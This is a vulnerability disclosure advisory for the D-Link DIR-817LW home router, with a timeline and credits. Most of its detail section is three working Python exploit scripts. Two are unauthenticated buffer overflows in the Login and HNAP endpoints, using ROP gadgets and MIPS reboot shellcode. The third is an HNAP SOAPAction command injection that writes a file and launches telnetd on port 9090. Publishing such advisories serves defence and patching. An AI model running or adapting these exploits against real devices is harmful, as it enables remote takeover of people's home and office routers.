D-Link DIR-817LW Buffer Overflow / Command Injection

`## Advisory Information  
  
Title: DIR-817LW Buffer overflows and Command injection in authentication and HNAP functionalities  
Vendors contacted: William Brown <[email protected]>, Patrick Cline [email protected](Dlink)  
CVE: None  
  
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,   
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061  
  
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.   
  
## Product Description  
  
DIR-817LW -- Wireless AC750 Dual Band Cloud Router. Mainly used by home and small offices.  
  
## Vulnerabilities Summary  
  
Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed.  
  
## Details  
  
Buffer overflow in auth   
----------------------------------------------------------------------------------------------------------------------  
import socket  
import struct  
  
#Reboot shellcode in there  
  
  
buf = "GET /dws/api/Login?id="  
buf+="A"*2064+"AAAA" #s0 # uclibc system address  
buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret  
buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep  
buf+="\x2A\xB1\x4D\xF0"  
buf+="\x2A\xB1\x4D\xF0"  
buf+="\x2A\xB1\x4D\xF0"  
buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission  
buf+="\x2A\xB1\x4D\xF0"  
buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0  
buf+="C"*36 #   
buf+="\x2A\xAC\xD5\xB4" # points to rop3   
#buf+="1"*17 # exit payload  
buf+="E"*16  
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian   
buf+="Y"*120 # ROP gadget 2 that loads into $t9  
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n"  
  
print "[+] sending buffer size", len(buf)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("192.168.1.8", 80))  
s.send(buf)  
  
----------------------------------------------------------------------------------------------------------------------  
  
  
Buffer overflow in HNAP  
----------------------------------------------------------------------------------------------------------------------  
import socket  
import struct  
  
# Working  
  
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158  
buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret  
buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep  
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5  
buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission  
buf+="AAAA"  
buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0  
buf+="C"*36  
buf+="\x2A\xAC\xD5\xB4" # points to rop3   
buf+="C"*16  
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian shell  
buf+="B"*28+"\r\n" + "1\r\n\r\n"  
  
print "[+] sending buffer size", len(buf)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("192.168.1.8", 80))  
s.send(buf)  
----------------------------------------------------------------------------------------------------------------------  
  
Command injection   
----------------------------------------------------------------------------------------------------------------------  
import socket  
import struct  
  
# CSRF or any other trickery, but probably only works when connected to network I suppose and internal  
  
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';echo "<?phpinfo?>" > passwd1.php;telnetd -p 9090;test\r\n' + "1\r\n\r\n"  
  
print "[+] sending buffer size", len(buf)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("1.2.3.4", 80))  
s.send(buf)  
  
----------------------------------------------------------------------------------------------------------------------  
  
## Report Timeline  
  
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.  
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor  
* Nov 13, 2015: A public advisory is sent to security mailing lists.  
  
## Credit  
  
This vulnerability was found by Samuel Huntley ([email protected]).  
`